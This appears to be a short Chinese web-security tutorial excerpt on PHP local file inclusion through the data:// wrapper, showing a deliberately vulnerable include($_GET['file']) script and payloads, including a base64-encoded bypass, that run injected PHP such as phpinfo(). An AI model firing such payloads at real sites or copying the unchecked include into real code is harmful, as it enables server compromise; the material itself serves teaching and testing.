data://协议能够让用户控制输入输出流,配和包含函数可以将用户输入的数据作为php文件执行,例如下面这个php文件:
代码语言:javascript
复制<?php
$file = $_GET['file'];
include($file);
?>
当访问'?file=data://text/plain,<?php phpinfo();?>'时,页面会返回'<?php phpinfo();?>'的内容。
还可以使用编码进行绕过:'?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 '。